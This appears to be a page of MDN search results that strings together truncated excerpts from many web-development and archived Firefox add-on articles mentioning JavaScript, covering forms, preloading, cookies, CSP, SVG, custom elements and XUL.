JavaScript to access the respective HTMLInputElement object's value property. The value attribute is always optional, though should be considered mandatory for checkbox, radio, and hidden. width Valid for the image input button only, the width is the width of the image file to display to represent the graphical submit button. See the image input type. Non-standard attributes The following non-sta...
...default Form elements that are the default in a group of related elements. Matches checkbox and radio input types that were checked on page load or render. :checked Matches checkbox and radio input types that are currently checked (and the (<option> in a <select> that is currently selected). :indeterminate checkbox elements whose indeterminate property is set to true by
JavaScript, radio elements, when all radio buttons with the same name value in the form are unchecked, and <progress> elements in an indeterminate state :valid Form controls that can have constraint validation applied and are currently valid. :invalid Form controls that have constraint validation applied and are currently not valid. Matches a form control whose value doesn't match th...
...case letters): </label> <input type="text" name="name" id="name" required pattern="[A-Za-z]+"> <button>Submit</button> </form> The basic HTML form validation features will cause this to produce a default error message if you try to submit the form with either no valid filled in, or a value that does not match the pattern. ...
Preloading content with rel="preload" - HTML: Hypertext Markup Language
This example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example: Resources that are poin...
...for the rendering of the page later on. This example is trivial, as the browser probably discovers the <link rel="stylesheet"> and <script> elements in the same chunk of HTML as the preloads, but the benefits can be seen much more clearly the later resources are discovered and the larger they are. For example: Resources that are pointed to from inside CSS, like fonts or images. Resources that
JavaScript can request, like JSON, imported scripts, or web workers. Larger images and video files. preload has other advantages too. Using as to specify the type of content to be preloaded allows the browser to: Prioritize resource loading more accurately. Store in the cache for future requests, reusing the resource if appropriate. Apply the correct content security policy to the resource. Set the...
...e: audio: Audio file, as typically used in <audio>. document: An HTML document intended to be embedded by a <frame> or <iframe>. embed: A resource to be embedded inside an <embed> element. fetch: Resource to be accessed by a fetch or XHR request, such as an ArrayBuffer or JSON file. font: Font file. image: Image file. object: A resource to be embedded inside an <object> element. script:
JavaScript file. style: CSS stylesheet. track: WebVTT file. worker: A
JavaScript web worker or shared worker. video: Video file, as typically used in <video>. Note: There's more detail about these values and the web features they expect to be consumed by in the Preload spec -- see link element extensions. Also note that the full list of values the as attribute can take is governed by the Fetch spec -...
...). This makes it much more likely that the font will be available for the page render, cutting down on FOUT (flash of unstyled text). This doesn't have to be limited to images, or even files of the same type -- think big! You could perhaps preload and display a simple SVG diagram if the user is on a narrow screen where bandwidth and CPU is potentially more limited, or preload a complex chunk of
JavaScript then use it to render an interactive 3D model if the user's resources are more plentiful. Scripting and preloads Another nice thing about these preloads is that you can execute them with script. For example, here we create a HTMLLinkElement instance, then attach it to the DOM: var preloadLink = document.createElement("link"); preloadLink.href = "myscript.js"; preloadLink.rel = "preload"; prelo...
Using HTTP cookies - HTTP
ecured HTTP, and therefore can't easily be accessed by a man-in-the-middle attacker. Insecure sites (with http: in the URL) can't set cookies with the Secure attribute. However, do not assume that Secure prevents all access to sensitive information in cookies; for example, it can be read by someone with access to the client's hard disk. A cookie with the HttpOnly attribute is inaccessible to the
JavaScript Document.cookie API; it is sent only to the server. For example, cookies that persist server-side sessions don't need to be available to
JavaScript, and should have the HttpOnly attribute. This precaution helps mitigate cross-site scripting (XSS) attacks. Here is an example: Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2021 07:28:00 GMT; Secure; HttpOnly Define where cookies are sent The Domain ...
... defence measure against session fixation. On the application server, the web application must check for the full cookie name including the prefix--user agents do not strip the prefix from the cookie before sending it in a request's Cookie header. For more information about cookie prefixes and the current state of browser support, see the Prefixes section of the Set-Cookie reference article.
JavaScript access using Document.cookie New cookies can be created via
JavaScript using the Document.cookie property, and existing cookies can be accessed from
JavaScript as well, if the HttpOnly flag is not set. document.cookie = "yummy_cookie=choco"; document.cookie = "tasty_cookie=strawberry"; console.log(document.cookie); // logs "yummy_cookie=choco; tasty_cookie=strawberry" Cookies created via JavaS...
... Security Information should be stored in cookies with the understanding that all cookie values are visible to, and can be changed by, the end-user. ...
... that all cookie values are visible to, and can be changed by, the end-user. Depending on the application, it may be desirable to use an opaque identifier which is looked-up by the server or to investigate alternative authentication/confidentiality mechanisms such as JSON Web Tokens. Ways to mitigate attacks involving cookies: Use the HttpOnly attribute to prevent access to cookie values via
JavaScript. Cookies that are used for sensitive information (such as indicating authentication) should have a short lifetime, with the SameSite attribute set to Strict or Lax. (See SameSite cookies, above.) In browsers that support SameSite, this has the effect of ensuring that the authentication cookie is not sent with cross-origin requests, so such a request is effectively unauthenticated to the applicat...
Index - HTTP
r The Accept-Ranges response HTTP header is a marker used by the server to advertise its support of partial requests. The value of this field indicates the unit that can be used to define a range. 7 Access-Control-Allow-Credentials CORS, HTTP, Reference, header The Access-Control-Allow-Credentials response header tells browsers whether to expose the response to frontend
JavaScript code when the request's credentials mode (Request.credentials) is "include". 8 Access-Control-Allow-Headers CORS, HTTP, Reference, header The Access-Control-Allow-Headers response header is used in response to a preflight request which includes the Access-Control-Request-Headers to indicate which HTTP headers can be used during the actual request. 9 Access-Control-...
...x for the requested resource similar to the <iframe> sandbox attribute. It applies restrictions to a page's actions including preventing popups, preventing the execution of plugins and scripts, and enforcing a same-origin policy. 47 CSP: script-src CSP, Directive, HTTP, Reference, Security The HTTP Content-Security-Policy (CSP) script-src directive specifies valid sources for
JavaScript. This includes not only URLs loaded directly into <script> elements, but also things like inline script event handlers (onclick) and XSLT stylesheets which can trigger script execution. 48 CSP: style-src CSP, Directive, HTTP, Reference, Security The HTTP Content-Security-Policy (CSP) style-src directive specifies valid sources for stylesheets. 49 CSP: upgrade-insec...
...is a way to say that the webmasters knew what they were doing. 117 X-DNS-Prefetch-Control DNS, HTTP, header The X-DNS-Prefetch-Control HTTP response header controls DNS prefetching, a feature by which browsers proactively perform domain name resolution on both links that the user may choose to follow as well as URLs for items referenced by the document, including images, CSS,
JavaScript, and so forth. 118 X-Forwarded-For HTTP, HTTP Header, Non-standard, Reference, Request header, header The X-Forwarded-For (XFF) header is a de-facto standard header for identifying the originating IP address of a client connecting to a web server through an HTTP proxy or a load balancer. When traffic is intercepted between clients and servers, server access logs contain the I...
... ...
Example - SVG: Scalable Vector Graphics
This example should work in Firefox 1.5 and above. ...
...This example should work in Firefox 1.5 and above. ...
...='cursor' cx='200' cy='150' r='7' fill='#0000ff' fill-opacity='0.5'/> </svg:svg> <p>A swarm of motes, governed by two simple principles. First, each mote tries to move towards the cursor, and second each mote tries to move away from the average mote position. Combined, we get this very natural looking behavior. </p> <p> This is done completely in W3C Standards-XHTML, SVG and
JavaScript-no flash or any vendor specific extensions. Currently, this will work in Mozilla Firefox version 1.5 and above. </p> <div> (C) 2006 <a id='emailme' href='#'>Nick Johnson</a> <script type='text/
javascript'> <![CDATA[ // foil spam bots var email = '@riovia.net'; email ='nick' + email; document.getElementById('emailme').href = 'mailto:'+email; ]]> </script> This so...
... <p> <label>Number of motes:</label> <input id='num_motes' value='5'/> <br/> <label>Max. Velocity:</label> <input id='max_velocity' value='15'/> <br/> <label>Attraction to cursor:</label> <input id='attract_cursor' value='6'/> <br/> <label>Repulsion from peers:</label> <input id='repel_peer' value='5'/> <br/> </p> </form> <script type='text/
javascript'> <![CDATA[ // Array of motes var motes; // Get the display element. function Display() { return document.getElementById('display'); } // Determine dimensions of the display element. // Return this as a 2-tuple (x,y) in an array function Dimensions() { // Our Rendering Element var display = Display(); var width = parseInt( display.getAttributeNS(null,'width') )...
SVG: Scalable Vector Graphics
Getting Started This tutorial will help get you started using SVG. Scalable Vector Graphics (SVG) are an XML-based markup language for describing two-dimensional based vector graphics. As such, it's a text-based, open Web standard for describing images that can be rendered cleanly at any size and are designed specifically to work well with other web standards including CSS, DOM,
JavaScript, and SMIL. SVG is, essentially, to graphics what HTML is to text. SVG images and their related behaviors are defined in XML text files, which means they can be searched, indexed, scripted, and compressed. Additionally, this means they can be created and edited with any text editor or with drawing software. Compared to classic bitmapped image formats such as JPEG or PNG, SVG-format vector images can be rendered...
...the need of a graphical editor to do so. With proper libraries, SVG files can even be localized on-the-fly. SVG has been developed by the World Wide Web Consortium (W3C) since 1999. Documentation SVG element reference Details about each SVG element. SVG attribute reference Details about each SVG attribute. SVG DOM interface reference Details about the SVG DOM API, for interaction with
JavaScript. Applying SVG effects to HTML content SVG works together with HTML, CSS and
JavaScript. Use SVG to enhance a regular HTML page or web application. View All... Community View Mozilla forums... Mailing list Newsgroup RSS feed Tools SVG Test Suite Markup Validator More Tools... Other resources: XML, CSS, DOM, Canvas Examples Google Maps (route overlay) & Docs (spread...
...XML, CSS, DOM, Canvas Examples Google Maps (route overlay) & Docs (spreadsheet charting) SVG bubble menus SVG authoring guidelines An overview of the Mozilla SVG Project Frequently asked questions regarding SVG and Mozilla SVG as an image SVG animation with SMIL SVG art gallery Animation and interactions Like HTML, SVG has a document model (DOM) and events, and is accessible from
JavaScript. This allows developers to create rich animations and interactive images. Some real eye-candy SVG at svg-wow.org Firefox extension (Grafox) to add a subset of SMIL animation support Interactive photos manipulation HTML transformations using SVG's foreignObject Mapping, charting, games & 3D experiments While a little SVG can go a long way to enhanced web content, here are some examples of...
...dy SVG at svg-wow.org Firefox extension (Grafox) to add a subset of SMIL animation support Interactive photos manipulation HTML transformations using SVG's foreignObject Mapping, charting, games & 3D experiments While a little SVG can go a long way to enhanced web content, here are some examples of heavy SVG usage. Connect 4 jVectorMap (interactive maps for data visualization) JointJS (
JavaScript diagramming library) D3 (
JavaScript library for visualizing data with HTML, SVG, and CSS ) ...
Using custom elements - Web Components
how custom elements are created in more detail. Autonomous custom elements Let's have a look at an example of an autonomous custom element -- <popup-info-box> (see a live example). This takes an image icon and a text string, and embeds the icon into the page. When the icon is focused, it displays the text in a pop up information box to provide further in-context information. To begin with, the
JavaScript file defines a class called PopUpInfo, which extends the generic HTMLElement class. class PopUpInfo extends HTMLElement { constructor() { // Always call super first in constructor super(); // write element functionality in here ... } } The preceding code snippet contains the constructor() definition for the class, which always starts by calling super() so that the correct ...
... name, and then the class name that defines its functionality: customElements.define('popup-info', PopUpInfo); It is now available to use on our page. Over in our HTML, we use it like so: <popup-info img="img/alt.png" data-text="Your card validation code (CVC) is an extra security feature -- it is the last 3 or 4 numbers on the back of your card."></popup-info> Note: You can see the full
JavaScript source code here. Internal vs. external styles In the above example we apply style to the Shadow DOM using a <style> element, but it is perfectly possible to do it by referencing an external stylesheet from a <link> element instead. For example, take a look at this code from our popup-info-box-external-stylesheet example (see the source code): // Apply external styles to the shadow dom const...
... object that details what element our custom element inherits from: customElements.define('expanding-list', ExpandingList, { extends: "ul" }); Using the built-in element in a web document also looks somewhat different: <ul is="expanding-list"> ... </ul> You use a <ul> element as normal, but specify the name of the custom element inside the is attribute. Note: Again, you can see the full
JavaScript source code here. Using the lifecycle callbacks You can define several different callbacks inside a custom element's class definition, which fire at different points in the element's lifecycle: connectedCallback: Invoked each time the custom element is appended into a document-connected element. This will happen each time the node is moved, and may happen before the element's contents have ...
...re when an attribute changes, you have to observe the attributes. This is done by specifying a static get observedAttributes() method inside custom element class - this should return an array containing the names of the attributes you want to observe: static get observedAttributes() { return ['c', 'l']; } This is placed right at the top of the constructor, in our example. Note: Find the full
JavaScript source here. Polyfills vs. classes Custom Element polyfills may patch native constructors such as HTMLElement and others, and return a different instance from the one just created. If you need a constructor and a mandatory super call, remember to pass along optional arguments and return the result of such a super call operation. class CustomElement extends HTMLElement { constructor(...args...
Interacting with page scripts - Archive of obsolete content
For the sake of security, stability, and simplicity, this is usually what you want. You don't want arbitrary web pages to be able to access objects in content scripts, and you don't want objects created by content scripts to clash with objects created by page scripts. ...
... and page scripts Sharing objects with page scripts There are two possible cases here: a content script might want to access an object defined by a page script a content script might want to expose an object to a page script Access objects defined by page scripts To access page script objects from content scripts, you can use the global unsafeWindow object. With unsafeWindow you can see
JavaScript objects that have been defined by page scripts, and if a page script has modified the behavior of native DOM functions, you'll get the modified version of them as well. In this example a page script adds a string variable foo to the window: <!DOCTYPE html"> <html> <head> <script> window.foo = "hello from page script" </script> </head> </html> The content script can see this obj...
...ata.url("page.html") var pageMod = mod.PageMod({ include: pageUrl, contentScriptFile: self.data.url("content-script.js"), contentScriptWhen: "ready" }) tabs.open(pageUrl); The target web page "page.html" includes a button and a page script: <html> <head> <meta charset="utf-8"> </head> <body> <input id="message" type="button" value="Send a message"/> <script type="text/
javascript" src="page-script.js"></script> </body> </html> The content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getElementById("message"); messenger.addEventListener("click", sendCustomEvent, false); function sendCustomEvent() { var greeting = {"greeting" : "hello world"}; var event = new CustomEvent("a...
Private Properties - Archive of obsolete content
People have come up with several ways to emulate private properties using existing language features. This article discusses two common techniques: one using prefixes, the other closures. Both approaches have drawbacks, they are either not restrictive enough or too restrictive, respectively. A better alternative is to use WeakMap objects, which solve both these problems. However, note that WeakMaps might not be supported by all implementations yet. ...
... too restrictive: since there is no way to access variables in one closure from within another closure, there is no way for objects of the same class to access each other's private properties. Using WeakMaps The techniques above are either not restrictive enough (prefixes) or too restrictive (closures), however the recent introduction of WeakMaps provides a solution. WeakMaps were introduced to
JavaScript in ECMAScript 2015 and have recently been implemented in SpiderMonkey. Before explaining how WeakMaps work, the following looks at how ordinary objects can be used as hash maps, by creating a simple image cache: let images = {}; function getImage(name) { let image = images[name]; if (!image) { image = loadImage(name); images[name] = image; } return image; } Now...
...instance of Point and its internal namespace. Keeping the namespace hidden from all functions, except members of Point, effectively implements private properties. Moreover, because members of Point have a reference to the internal namespace, they can access private properties on other instances of Point. Namespaces in the Add-on SDK The Add-on SDK is built on top of XPCOM, the interface between
JavaScript and C++ code. Since XPCOM allows the user to do virtually anything, security is very important. Among other things, add-ons should not be able to access variables that are supposed to be private. The SDK uses namespaces internally to ensure this. As always with code that is heavily reused, the SDK defines a helper function to create namespaces. It's defined in the module "core/namespace", and it'...
Module structure of the SDK - Archive of obsolete content
CommonJS is the underlying infrastructure for both the SDK and the add-ons you build using the SDK. A CommonJS module is a piece of reusable
JavaScript: it exports certain objects which are thus made available to dependent code. CommonJS defines: an object called exports which contains all the objects which a CommonJS module wants to make available to other modules a function called require which a module can use to import the exports object of another module. ...
... External modules: reusable modules developed and maintained outside the SDK, but usable by SDK-based add-ons. ...
...hich contains all the objects which a CommonJS module wants to make available to other modules a function called require which a module can use to import the exports object of another module. Except for scripts that interact directly with web content, all the
JavaScript code you'll write or use when developing add-ons using the SDK is part of a CommonJS module, including: SDK modules: the
JavaScript modules which the SDK provides, such as panel and page-mod. Local modules: each of the
JavaScript files under your add-on's "lib" directory. External modules: reusable modules developed and maintained outside the SDK, but usable by SDK-based add-ons. SDK Modules The modules supplied by the SDK are divided into two sorts: High-level modules like panel and page-mod provide relatively simple...
Two Types of Scripts - Archive of obsolete content
In the SDK documentation we call one sort "add-on code" and the other sort "content scripts". Add-on Code This is the place where the main logic of your add-on is implemented. ...
...b page, and has access to that page's DOM content. This enables you to call functions like: window.alert("Hello there"); In an add-on's main scripts you can't do that, because the add-on code does not execute in the context of a page, and the DOM is therefore not available. If you need to access the DOM of a particular page, you need to use a content script. So there are two distinct sorts of
JavaScript scripts you might include in your add-on and they have access to different sets of APIs. In the SDK documentation we call one sort "add-on code" and the other sort "content scripts". Add-on Code This is the place where the main logic of your add-on is implemented. Your add-on is implemented as a collection of one or more CommonJS modules. Each module is supplied as a script stored under the li...
...ate files you should store them under the data directory under your add-on's root. To learn all about content scripts read the Working with Content Scripts guide. API Access for Add-on Code and Content Scripts The table below summarizes the APIs that are available to each type of script. API Add-on code Content script The global objects defined in the core
JavaScript language, such as Math, Array, and JSON. See the reference at MDN. ? ? The require() and exports globals defined by version 1.0 of the CommonJS Module Specification. You use require() to import functionality from another module, and exports to export functionality from your module. If require() is available, then so are the modules supplied in the SDK. ? ? T...
Customizing the download progress bar - Archive of obsolete content
d Mac respectively. Once again, a height of 12 pixels or so and a few pixels wide seems about right, though you might have to experiment with this a bit. Changing the progress bar for specific downloads This is all you need to change the progress bar appearance for all downloads. If you want to change it for certain specific downloads only, things get a bit trickier. ...
...out right, though you might have to experiment with this a bit. Changing the progress bar for specific downloads This is all you need to change the progress bar appearance for all downloads. If you want to change it for certain specific downloads only, things get a bit trickier. ...
...e progress bar for specific downloads This is all you need to change the progress bar appearance for all downloads. If you want to change it for certain specific downloads only, things get a bit trickier. ...
XPCOM Objects - Archive of obsolete content
In fact, you can separate the two. We often mention other "Mozilla based applications". ...
...bserver. Then we change it back, because after that we only need to get and set preferences, and those methods are in nsIPrefBranch. Trying to access methods or attributes without having the right interface set will result in an exception being thrown. Passing parameters Passing parameters to XPCOM methods is no different from other JS objects, with some exceptions. In general, you can rely on
JavaScript's ability to transform values to the correct type, but it's usually best to pass the right type in the first place. This section is a quick guide on how to read XPCOM documentation, which basically amounts to understanding the syntax of XPIDL, the language used to specify XPCOM interfaces. At MDC, you'll see stuff like this: void setCharPref(in string aPrefName, in string aValue); One of t...
...nsigned long, PRInt32, PRUInt32 PRInt32 is the equivalent to long. Most PR* types have an easier to read equivalent, so it is better to use those. Floating point float Boolean boolean, PRBool Void void Timestamps PRTime This type is used to pass timestamps measured in milliseconds, such as the output of the getTime() method in a
Javascript Date object. There are more details about XPIDL in the XPDIL Syntax definition. Creating Your Own Components
JavaScript XPCOM Components As we've said before, we recommend using JSM whenever you can. Yet there are some cases where you don't have a choice and you have to create XPCOM components to add a specific feature. In these cases you can choose between compiled XPCOM components, wr...
Performance best practices in extensions - Archive of obsolete content
delays the appearance of the user's desired content. Load only what you need, when you need it Don't load things during startup that are only needed if the user clicks a button, or if a given preference is enabled when it's not. If your extension has features that only work when the user has logged into a service, don't load the resources for those features until the user actually logs in. Use
JavaScript code modules You can create your own
JavaScript code modules incorporating sets of features that are only needed under specific circumstances. This makes it easy to load chunks of your extension on the fly as needed, instead of loading everything all at once. While
JavaScript modules can be extremely useful, and provide significant performance benefits, they should be used wisely. Loading modul...
...cially the Proactive checking of add-ons section. See Common causes of memory leaks in extensions for ways to avoid zombie compartments and other kinds of leaks. As well as looking for these specific kinds of leaks, it's worth exercising your extension's functionality and checking the contents of about:memory for any excessive memory usage. For example, bug 719601 featured a "System Principal"
JavaScript compartment containing 100s of MBs of memory, which is much larger than usual. Avoid Writing Slow CSS Read the "writing efficient CSS" guide. Remember that any selector in your rule which might match many different nodes is a source of inefficiency during either selector matching or dynamic update processing. This is especially bad for the latter if the selector can dynamically start or stop...
...ically start or stop matching. Avoid unqualified ":hover" like the plague. Avoid DOM mutation event listeners DOM mutation event listeners are extremely expensive and, once added to a document even briefly, significantly harm its performance. As mutation events are officially deprecated, and there are many alternatives, they should be avoided at all costs. Lazily load services The XPCOMUtils
JavaScript module provides two methods for lazily loading things: defineLazyGetter() defines a function on a specified object that acts as a getter which will be created the first time it's used. See examples. defineLazyServiceGetter() defines a function on a specified object which acts as a getter for a service. The service isn't obtained until the first time it's used. Look through the source for exam...
XUL user interfaces - Archive of obsolete content
L (XML User-interface Language, usually pronounced like "zool"). In XUL, many common user interface features are built in. For example, XUL provides specialized windows like dialogs and wizards, as well as status bars, menus, tool bars, and even browsers. More specialized features can be built from parts by using XUL together with other technologies that you have seen in this tutorial: CSS style,
JavaScript code, and XBL bindings. Like other XML-based languages, XUL uses CSS stylesheets. More details For more information about XUL user interfaces, see the XUL page in this wiki. Action: A XUL demonstration Make a new XUL document as a plain text file, doc7.xul. Copy and paste the content from here, making sure that you scroll to get all of it: <?xml version="1.0"?> <?xml-styleshe...
...L document as a plain text file, doc7.xul. ...
... status.removeAttribute("warning") status.setAttribute("label", aDate.toLocaleDateString()) } } To see the result exactly as intended, use the default theme in your browser. If you use a different theme, it changes some user-interface styles and the demonstration might look strange. Open the document in your Mozilla browser and use the interface. This wiki does not support XUL and
JavaScript in pages, so it is not possible to show the demonstration here. It looks something like this: XUL demonstration Day of week calculator Date: 6/27/2005 Day: Sunday Monday Tuesday Wednesday Thurdsay Friday Saturday Clear Today ...
Dehydra Function Reference - Archive of obsolete content
ollowing functions are provided by dehydra and may be called by the user: print(msg) Print a string to stdout (or stderr if the compiler is piping output). If the current callback is associated with a particular location, the location will be printed first. msg is a string to output To customize the location info printed set this._loc before calling print() include(file [, namespace]) Include a
javascript file into a namespace. file is a string representing the file to include Optional: namespace is an object to include the file into. The default namespace is this The directories in sys.include_path are searched for the file, and the current working directory is searched last. Includes are guarded so a file is only included once and subsequent include calls are ignored. This is accomplished by r...
... included file into the _includedArray in the current namespace. Include Example include("map.js") // includes map.js into toplevel var Map = {} include("map.js", Map) // includes map.js into the Map object require({version:, strict:, werror:, gczeal:}) require is used to set runtime execution flags. It also returns the current values of these flags. require supports optional named arguments via
JavaScript object where each parameter is a property. If a property is not specified then it will not be passed to the runtime. version integer: this sets js version similar to version() in JS 1.7. strict boolean: Controls JS strict mode werror boolean: Turns JS warnings into errors gczeal int: This is a write-only parameter to set turn on frequent garbage collection. It is a mainly useful for debugging De...
...ath used by include(). The default value is the following directories: the directory of the dehydra script being processed the libs directory next to the gcc_dehydra.so plugin User script may add additional directories sys.aux_base_name exposes the base filename part of the file being compiled sys.frontend exposes the compiler frontend (e.g. "GNU C" or "GNU C++") arguments this.arguments is a
JavaScript array containing command-line arguments passed to a script. -fplugin-arg="foo.js a b c" would run foo.js with ["a", "b", "c"] arguments array. This page was auto-generated because a user created a sub-page to this page. ...
Firefox Sync - Archive of obsolete content
Server A server implementation of the Sync HTTP protocol. Clients communicate through it. ...
... for these specifications is http://docs.services.mozilla.com/. Running a Server It is possible to run your own Sync Server instance. Full instructions are available at http://docs.services.mozilla.com/howtos/run-sync.html. ...
... Status For information on the current development status of Sync including how to get involved, see https://wiki.mozilla.org/Services/Sync. ...
Introducing the Audio API extension - Archive of obsolete content
lable, it triggers a loadedmetadata event. This event has the following attributes: mozChannels: Number of channels mozSampleRate: Sample rate per second mozFrameBufferLength: Number of samples collected in all channels This information is needed later to decode the audio data stream. ...
...It's important to note that the samples are not separated by channels; they are all delivered together. For example, for a two-channel signal: Channel1-Sample1 Channel2-Sample1 Channel1-Sample2 Channel2-Sample2 Channel1-Sample3 Channel2-Sample3. ...
....]; var numberSamplesWritten = audioOutput.mozWriteAudio(samples); // Write samples using a Typed Array var samples = new Float32Array([0.242, 0.127, 0.0, -0.058, -0.242, ...]); var numberSamplesWritten = audioOutput.mozWriteAudio(samples); In the following example, we create an audio pulse: <!doctype html> <html> <head> <title>Generating audio in real time</title> <script type="text/
javascript"> function playTone() { var output = new Audio(); output.mozSetup(1, 44100); var samples = new Float32Array(22050); for (var i = 0; i < samples.length ; i++) { samples[i] = Math.sin( i / 20 ); } output.mozWriteAudio(samples); } </script> </head> <body> <p>This demo plays a one second tone when you click the button below.<...
generateCRMFRequest() - Archive of obsolete content
SizeN, "keyParamsN", "keyGenAlgN"); This method will generate a sequence of CRMF requests that has N requests. One request for each key pair that is generated. The first three parameters will be applied to every request. The "escrowAuthorityCert" parameter will only be used for requests that pertain to a key that is being escrowed. After the "escrowAuthorityCert" parameter, the method takes some
JavaScript code that is invoked when the CRMF request is ready. Finally, there are 1 or more sets of key generation arguments. Each key generation will be associated with its own request. All the requests will have the same DN. Argument Description "requestedDN" An RFC 1485 formatted DN to include in the certificate request. "regToken" A value used to authenticate the use...
...d. This value specifies which KRA certificate should be used to wrap the private key being escrowed. The user will be prompted for confirmation whenever a key will be escrowed. Only key exchange keys will be escrowed. If a dual use key is being generated, it will not be escrowed. The value of this argument is a base-64 encoded certificate. "CRMF Generation Done Code" This parameter is
JavaScript to execute when the CRMF generation is complete. keySizeN The size in bits of the Nth key to generate "keyParamsN" This string is an optional algorithm dependent parameter value. For Diffie-Hellman it is used to specify p and g parameters. For DSA, it will be used to specify pqg. If the key generation requires parameters and the value passed in is NULL, then the client wil...
..." "ec-dual-use" "ec-sign" "ec-sign-nonrepudiation" "ec-nonrepudiation" The generateCRMFRequest() method will cause the user to be presented with a key generation dialog. The dialog describes the key generation process and gives the user the opportunity to cancel the operation. The method generateCRMFRequest() will return an instance of a CRMF Request object. The
JavaScript passed in as the "CRMF Generation Done Code" parameter should look at the attribute request of the returned object to get the result of the CRMF generation. The string found by accessing crmfObject.request is the base-64 encoded CRMF message to be sent to the CA/RA, or an error string. The possible error strings are: Error String Description "error:invalidParameter:XXX" Th...
Microsummary XML grammar reference - Archive of obsolete content
es: None. Child Elements: <include> (optional) A regular expression matching the URLs of pages that the generator is able to summarize. <exclude> (optional) A regular expression matching the URLs of pages that the generator is not able to summarize. The <pages> element can contain zero or more <include> and <exclude> child elements, each of which must contain a valid
JavaScript-compatible regular expression. It must not contain any other elements, and it does not have any attributes. When a generator is examined to determine whether or not it is able to summarize a page, the regular expressions provided by the child elements are evaluated against the URL of the page. A generator is considered to be able to summarize a page if at least one of the <include> expressions ma...
...ith the caret (^) to ensure they do not inadvertently match URLs which merely contain the URLs they intend to match. For example, the regular expression http://www\.example\.com/ matches both the URL http://www.example.com/ and the URL http://www.evil.com/http://www.example.com/, but the regular expression ^http://www\.example\.com/ matches only the first of those two URLs. See the reference Core_
JavaScript_1.5_Reference:Global_Objects:RegExp for the details of the regular expression syntax valid for generators and the tutorial Creating regular expressions for a microsummary generator for step by step instructions to writing regular expressions that match URLs. The <include> element The <include> element identifies a set of pages that the generator is able to summarize. It must be a child of the <pa...
... for the details of the regular expression syntax valid for generators and the tutorial Creating regular expressions for a microsummary generator for step by step instructions to writing regular expressions that match URLs. The <include> element The <include> element identifies a set of pages that the generator is able to summarize. It must be a child of the <pages> element, and it must contain a
JavaScript-compatible regular expression. For more information about the use of this element, see the entry for #The_<pages>_element. The <exclude> element The <exclude> element identifies a set of pages that the generator is not able to summarize. It must be a child of the <pages> element, and it must contain a
JavaScript-compatible regular expression. For more information about the use of this element, se...
XPJS Components Proposal - Archive of obsolete content
Now, you might ask: "Isn't that what XPConnect does?" And I would answer that XPConnect is necessary, but not sufficient to the task. ...
...sk. XPConnect provides the mechanisms for communication between native and JS xpcom components, but it does not provide all of the infrastructure to register and instantiate JS components outside of the limitations of the browser window. XPJS will provide that infrastructure. So what does this mean? The XPJS Component system will support implementing xpcom services, factories, and components in
JavaScript. It will support service and factory registration. These components will be independent of web content and browser windows. They will run from the user's disk just like native components. How will it work? The overriding principle is to make this work as much like native components as possible. XJS Components will 'live' in.js files. Just as with native component modules each of these .js files...
...se with a reference to that factory) can then call the factory's CreateInstance method at will. The JS module is free to implement factories and components and services that the factories construct on command. Any code anywhere and implemented in any language can get to these things via the component and service managers. The XPJSManager is loosely in charge of the lifetime of each XPJS module.
JavaScript is garbage collected and one can not force an object to be deleted or the compiled code to be unloaded [except by deleting the JSRuntime; i.e. erasing the entire JS universe]. In C if a module gets unloaded when there are still references to objects created by the module then a crash is likely to happen soon after. JS does not have this problem. If the XPJSManager is asked to trim itself back (by...
A XUL Bestiary - Archive of obsolete content
springs. These widgets can be created and placed within a XUL file as simple elements: <menu>, <toolbar>, and so on. The syntax for these elements is based for the most part on XML. Collectively, these widgets are also known as the XPToolkit. Object Models: DOM and AOM The Document Object Model is the representation of a document as a series of scriptable objects. When a scripting language like
JavaScript accesses various parts of an HTML document, it does so by means of the DOM. The parts of the document, such as the head, the links, the body, any tags, are available as nodes whose attributes can be got and set. There are, unfortunately, different document object models corresponding to different types of documents and also to different proprietary notions about what in a document should be expos...
... description above that event handlers can be written for events that are fired somewhere below them in the hierarchy. A menubar in XUL, for instance, can contain event handlers for events fired by its child menuitems. Mozilla XPArchitecture Mozilla is obviously a lot more than simply an interface. It's cross-platform, and standards-based, and yet in some way, the event handlers written once in
JavaScript and living in the XUL interface are getting very serious things done down in the application core. Things like socket interfaces, editing, mail/news, security. The technologies that make this possible are perhaps the least understood of the phalanx of innovations that is Mozilla. In addition to the small matter of programming these serious things in C++ and compiling them platform for platform, t...
...ices of an object without knowing anything about implementation. XPIDL, the Cross-Platform Interface Definition Language, is a language in which these interfaces insisted upon by XPCOM can be described. When XPIDL is used to describe the XPCOM interfaces, it makes those interfaces available in special header files. Finally, XPConnect is the technology that connects these XPCOM/XPIDL interfaces to
JavaScript, the scripting language XUL uses. These three cross-platform glue technologies fit in the middle of an architecture that looks something like this: Author: Ian Oeschger Other Documents: Mozilla Jargon File and Introduction to XUL Original Document Information Author(s): Ian Oeschger Last Updated Date: April 16, 2000 Copyright Information: Copyright (C) Ian Oeschger ...
Building accessible custom components in XUL - Archive of obsolete content
n cells.) That means that we don't want to make every label and description element focusable. After much experimentation, I found the solution for this. We need to set the containing grid to be focusable, which will put the spreadsheet itself in the tab order. The individual cells, row headers, and column headers are not in the tab order, but we can still set focus to them programmatically using
JavaScript whenever the user clicks a specific cell. But since the individual cells are not in the tab order, clicking on a spreadsheet cell and tabbing off will move to the spreadsheet's next sibling control, which is what we want. The only remaining issue is that when the spreadsheet regains focus (by pressing SHIFT-TAB, or cycling all the way around the tab order and coming back into the spreadsheet), we...
...<code> <window id="accjax" title="AccJax Spreadsheet" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:x2="http://www.w3.org/TR/xhtml2" xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/GUIRoleTaxonomy#" xmlns:waistate="http://www.w3.org/2005/01/wai-rdf/GUIStat...
...dow id="accjax" title="AccJax Spreadsheet" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" xmlns:x2="http://www.w3.org/TR/xhtml2" xmlns:wairole="http://www.w3.org/2005/01/wai-rdf/GUIRoleTaxonomy#" xmlns:waistate="http://www.w3.org/2005/01/wai-rdf/GUIStateTaxonomy#" onload="install_handlers()" > <script src="accjax.js"/> </code> By adding this
